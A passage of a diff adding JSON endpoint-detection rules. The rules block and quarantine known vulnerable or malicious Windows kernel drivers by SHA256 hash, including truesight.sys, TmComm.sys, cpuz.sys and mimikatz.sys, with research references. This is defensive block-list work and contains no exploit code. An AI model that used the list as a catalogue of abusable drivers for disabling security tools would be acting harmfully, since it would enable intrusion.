+  "id": "c0478a06-a376-5c77-bfa5-8ac95f61709a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145200Z",
+  "creation_date": "2026-03-23T11:45:31.145202Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145208Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b6e6cd2ae8ffbda7595f079535e30b68f5d0586d3cdf0f263eb5ef403ec592c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c05c8cac-7038-58de-84be-4d7787d7027b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826104Z",
+  "creation_date": "2026-03-23T11:45:30.826107Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826116Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa30e85ea2288f721cbd2bc158aa616d0aac2f5695597e61179972581484324e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c05f1553-a658-5062-a37a-1285888edd5c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974229Z",
+  "creation_date": "2026-03-23T11:45:29.974231Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974237Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf0855a8517be550b08a981bfacf90f245791cd70620868a241f1b1e2d8dfd89",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c05f71b9-73d9-5bc4-8e07-8b990c448a1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481308Z",
+  "creation_date": "2026-03-23T11:45:30.481310Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481316Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd57abaf2f20ea5b3f56db1193cb3772aa09bb2be3c4fa8001e7cf72ae1f078c",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c068b9b7-4ed1-5fb3-8ec2-abc81e31e000",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827647Z",
+  "creation_date": "2026-03-23T11:45:30.827649Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827654Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00e6fc33ba9861f673f857c74e65d65e90702013705e5170f4680565956c02ee",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c06cc91d-e589-5365-b939-a66a40f21754",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616550Z",
+  "creation_date": "2026-03-23T11:45:29.616553Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616558Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ffc72f0bde21ba20aa97bee99d9e96870e5aa40cce9884e44c612757f939494f",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0716296-abc4-555e-a39a-5ba2e48fecdc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462143Z",
+  "creation_date": "2026-03-23T11:45:30.462146Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462155Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c14bea0d85c9cad5c5f5c8d0e5442f6deb9e93fe3ad8ea5e8e147821c6f9304",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c077017e-28cb-5b91-9dab-85b0723adf9d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153175Z",
+  "creation_date": "2026-03-23T11:45:31.153178Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153186Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22d4ebe019788d7d9a7ab2e9e6ad1693dc0ebf8388666aba2de97dd59ee4bf02",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c07a1478-e1be-5749-b54d-0e4e936500af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815598Z",
+  "creation_date": "2026-03-23T11:45:31.815601Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815610Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ae049742c126352ad859127676551110405bbcabec461d637d3998241017a0a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c07ac49f-338e-53bf-8fe7-9b3b031d3e26",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826920Z",
+  "creation_date": "2026-03-23T11:45:30.826922Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826928Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb6710e984a8ce820b30f58ddd46c775b2b6136edcde493591ac4f3e48a9bc06",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0916b8a-50e2-50e9-bc14-3eb7359839ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145395Z",
+  "creation_date": "2026-03-23T11:45:31.145397Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145402Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb2597916344decf1afbdb771ab8d9ab3896be186f1fe20ef905273ed73e3629",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c09ea503-c0e2-521b-a260-cb89b4de2d21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149371Z",
+  "creation_date": "2026-03-23T11:45:31.149373Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149380Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a16b0c655899e6bda9c8ece578726f638bbed70ae9a5a3140e1a5338c012607",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0aad242-4b17-51b4-a2df-9d24c1ab726b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149981Z",
+  "creation_date": "2026-03-23T11:45:31.149983Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149989Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a2cf29afe28aafd0e1ccbae0658cd58afb461355e625f0469585a2a6def12ae5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0ac1726-04c6-5642-a4a3-85acd31ee339",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610776Z",
+  "creation_date": "2026-03-23T11:45:29.610778Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610784Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c50f8ab8538c557963252b702c1bd3cee4604b5fc2497705d2a6a3fd87e3cc26",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0ac5730-021b-5fae-9faa-937019673722",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473976Z",
+  "creation_date": "2026-03-23T11:45:30.473979Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473988Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5380daf2497ed35fc6d8b2a2f343dcbb95bb7384eea73781126a641ba3391af8",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0cc64d3-deff-5e43-a7bb-139aa90d9702",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606995Z",
+  "creation_date": "2026-03-23T11:45:29.606997Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607002Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4859c5456d03f799de89d2f8cbb36b4518259a6c7c0bc909b1fd16f48363d5a",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0d04003-ef54-51cd-a08c-b1e2087513d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475913Z",
+  "creation_date": "2026-03-23T11:45:31.475917Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475927Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d233b5fb67cafe05c29c6d97646bd398b7eec950d1375ee898f2ad6dbacb11c3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0d16b99-aff2-5688-a0f6-e0b3e6aa6fd6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819976Z",
+  "creation_date": "2026-03-23T11:45:30.819978Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819984Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "283a2e3eb9bad973e2ec439208f1bfb5121f8d9c37019b8a699be212f05964eb",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0d54b16-a6ef-5b19-adc6-79ae755d1515",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146510Z",
+  "creation_date": "2026-03-23T11:45:31.146512Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146518Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b250c6e21e8393c8f707fef88d4f0afc6ad24cef8590d3f6b269bc75fc4185b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0d5bd27-7d43-551d-bd51-d19f9158fe72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807483Z",
+  "creation_date": "2026-03-23T11:45:31.807486Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807491Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0aa450b1279a90d388466fb7b00a1663bb72d2e70efa1082044e23b18a5c62ae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0db53d7-324e-59e9-ae5f-6aab7fea03a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980289Z",
+  "creation_date": "2026-03-23T11:45:29.980291Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980296Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a66d2fb7ef7350ea74d4290c57fb62bc59c6ea93f759d4ca93c3febca7aeb512",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0e16a20-2f4b-5e41-9ae8-556b1f851306",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818794Z",
+  "creation_date": "2026-03-23T11:45:31.818797Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818805Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7b1437d1b7ea3e5b9be6c669db906b70ef958c6e1df62592a2e3ee43b210a3e0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0e9aa31-fe03-57d0-9b57-a9ca54d28c9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
